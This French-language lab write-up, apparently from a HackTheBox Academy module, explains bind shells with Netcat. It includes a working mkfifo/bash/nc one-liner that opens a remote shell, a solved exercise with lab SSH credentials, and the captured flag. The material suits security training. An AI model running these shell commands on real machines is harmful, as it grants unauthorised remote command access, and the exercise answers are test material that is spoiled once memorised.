Bind Shell

🧠 Qu'est-ce qu'un Bind Shell ?

Un bind shell permet à un attaquant de se connecter directement à un système distant via un port écouté par ce dernier. Le système cible agit comme serveur et écoute sur un port, tandis que l'attaquant initie la connexion en tant que client. Cette approche suppose que le système cible attend déjà une connexion entrante.

📌 Schéma conceptuel :

💥 Défis liés au Bind Shell

Utiliser un bind shell implique de contourner certaines contraintes :

  • 🔒 Le listener doit déjà être lancé sur la cible.

  • 🚫 Pare-feux réseau ou pare-feux système peuvent bloquer les connexions entrantes non autorisées.

  • 🌐 NAT et PAT rendent difficile l'accès à des ports internes depuis l'extérieur du réseau.

  • 🧱 Protection des hôtes (Windows/Linux) peut restreindre les applications autorisées à écouter.

C’est pourquoi le bind shell est souvent utilisé dans un environnement contrôlé ou après avoir compromis un système avec suffisamment de privilèges.

🧰 Outil utilisé : Netcat (nc)

Netcat est un outil polyvalent qui fonctionne sur TCP/UDP, peut écouter des ports, envoyer/recevoir des données, et même établir des shells distants.

  • 🖥️ Côté client (attaque) : Netcat est utilisé pour se connecter à l’adresse IP et au port de la cible.

  • 🖧 Côté serveur (cible) : Netcat écoute et peut retourner un shell.

🧪 Pratique avec Netcat : Bind Shell simple

  1. 🎯 Sur la machine cible (serveur) :

nc -lvnp 7777
  1. 🧑‍💻 Sur la machine attaquante (client) :

nc -nv 10.129.41.200 7777

✅ Résultat : une session Netcat est ouverte, mais pas encore un shell interactif.

📤 Envoi de texte via Netcat

Une fois connecté, on peut envoyer du texte :

  • Depuis l’attaquant : Hello Academy

  • Reçu sur le serveur : Hello Academy

Cela montre que la communication TCP fonctionne, mais ce n’est pas encore un shell exploitable.

🐚 Établir un vrai Bind Shell (avec /bin/bash)

Pour obtenir un shell interactif, il faut rediriger l’entrée et la sortie correctement. Voici un exemple sur Linux :

🔁 Serveur - Commande pour lancer un vrai bind shell

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f

🧠 Explication :

  • mkfifo /tmp/f : crée un FIFO (pipe nommé).

  • cat /tmp/f | /bin/bash -i : exécute Bash de façon interactive.

  • 2>&1 : redirige la sortie d’erreur vers la sortie standard.

  • nc -l ... > /tmp/f : reçoit les commandes envoyées et les envoie dans le pipe.

📡 Client - Connexion au bind shell

nc -nv 10.129.41.200 7777

🎉 Résultat : prompt bash de la cible, shell interactif établi !

⚠️ Limitations du Bind Shell

  • 🔍 Détectable facilement : Les connexions entrantes sont souvent bloquées ou surveillées.

  • 🔐 Faible contre les pare-feux et IDS : Il est facile à repérer sur les ports standards.

  • 🧪 Utile pour la compréhension : Ce type de shell est très bon pour les démonstrations ou tests internes.

Dans des environnements réels et sécurisés, les reverse shells sont souvent préférés. Ils sont plus discrets car la connexion part du système compromis (sortante), évitant les filtres en entrée.

👉 Le bind shell reste essentiel pour comprendre le fonctionnement de base des communications shell entre deux systèmes.


📚 Ressources utiles


Des is able to issue the command nc -lvnp 443 on a Linux target. What port will she need to connect to from her attack box to successfully establish a shell session?

SSH to 10.129.201.134 (ACADEMY-SHELLS-WEBSHELLS) with user "htb-student" and password "HTB_@cademy_stdnt!"

Afin d'établir un shell avec succès, le port 443 devra être utilisé.


SSH to the target, create a bind shell, then use netcat to connect to the target using the bind shell you set up. When you have completed the exercise, submit the contents of the flag.txt file located at /customscripts.

Nous nous connectons via SSH à notre cible :

$ ssh htb-student@10.129.201.134
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
htb-student@10.129.201.134's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-88-generic x86_64)

htb-student@ubuntu:~$ 

Lancement d'un bind shell sur notre cible :

htb-student@ubuntu:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 4444 > /tmp/f

Connexion au bind shell via notre machine attaquante :

$ nc -nv 10.129.201.134 4444
(UNKNOWN) [10.129.201.134] 4444 (?) open
$ id
uid=1001(htb-student) gid=1001(htb-student) groups=1001(htb-student),27(sudo)

Une fois connectés, nous pouvons récupérer le contenu du fichier flag.txt dans le répertoire /customscripts :

$ cd /customscripts
$ ls    	
flag.txt

$ cat flag.txt
B1nD_Shells_r_cool

Nous obtenons donc le flag attendu :

B1nD_Shells_r_cool

Mis à jour